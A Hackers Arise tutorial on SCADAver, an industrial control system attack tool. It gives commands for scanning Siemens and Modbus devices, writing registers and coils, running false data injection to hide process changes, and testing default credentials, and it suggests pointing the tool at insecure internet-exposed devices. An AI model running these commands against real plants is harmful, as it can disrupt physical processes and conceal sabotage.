SCADA/ICS/OT Hacking and Security: Hacking with SCADAver
Welcome back, cyberwarriors!
Lately weβve been seeing more reports on attacks against industrial facilities. Itβs often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they donβt know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.
There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. Thatβs why weβll cover it today.
SCADAver
SCADAver is a new toolΒ written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.

This project is still experimental. Itβs built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And itβs not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.
Setting Up
Weβll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.
ubuntu > curl https://github.com/Whispergate/SCADAVER/releases/download/v1.5.1/scadaver-linux-x86_64
ubuntu > mv scadaver-linux-x86_64 scadaver
ubuntu > mv scadaver /usr/bin
Working with SCADAver
Weβll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.
First letβs list the help menu and see what the tool has:
ubuntu > scadaver -h

As you can see, weβve got commands here. Each command has its own help menu where youβll find more information on exploits and other flags. Youβll see it later.
Siemens S7 β BasicsΒ
Letβs do a basic scan of a Siemens system and see what the tool comes back with.
# a basic scan
ubuntu > scadaver -i IP scan
# a stealthy scan
ubuntu > scadaver -z -i IP scan

It found port 102 open, and it was Siemens indeed.
We can also do a protocol specific scan or point it at a custom port if necessary:
ubuntu > scadaver -z -i IP --protocol siemens scan
# or with a custom port
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan

Port scanning is also possible. Thatβll come in handy when youβre working internally and sweeping networks to find SCADA systems.
ubuntu > scadaver run portscan -i IP

Having covered the basics, we can move on to more interesting stuff and pull some information off this system.
Siemens S7 β Extracting Values
SCADAver can fetch every switch thatβs currently on or off on the system. Having a map with human readable labels really helps here, that way youβll know what each switch is actually responsible for (pump running, valve closed and so on).
ubuntu > scadaver -i IP get io

Say you know a pump is running, now you can find out exactly how itβs supposed to run. We do that with get db, which extracts memory chunks from the device.
ubuntu > scadaver -i IP get db 1 0 64

Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, weβd know that if DB1 holds 1500, the program wants 1500 rpm, for example.
Modbus β Changing Values
Weβre not limited to reading only, we can set our own values for registers and coils too. Here are some examples:
ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1

Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.
We can pull this off too:
ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20

With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0Β°C. Only the map tells you what itβs actually responsible for.
As you know, there can be several PLCs in one cabinet, and you need a way to know which one youβre working with. Schneiderβs identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. Itβs a harmless identity check.
ubuntu > scadaver -i IP run flash-led

These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, itβs authentication gated and prompts you to enter valid credentials. Hereβs another run command thatβll test default credentials against HTTP Basic Auth.
ubuntu > scadaver -i IP run default-creds

More exploits and actions that run has can be seen in the help menu:
ubuntu > scadaver run -h

Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:
ubuntu > scadaver db refs siemens

Browser UI & Terminal UI
In case you donβt like working with the CLI, you can try the other options.
For the Terminal UI run this:
ubuntu > scadaver

And the Browser UI can be set up with this command:Β
ubuntu > scadaver web
It will be hosted on http://127.0.0.1:8888

Summary
The developer calls it a unified ICS red team multi tool, and it truly is. Itβs handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously itβs still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.
We havenβt covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.
If you want to learn how to hack and secureΒ SCADA systems, we invite you to our training led by OccupyTheWeb. Itβs available for bothΒ beginnersΒ andΒ advancedΒ students.
The post SCADA/ICS/OT Hacking and Security: Hacking with SCADAver first appeared on Hackers Arise.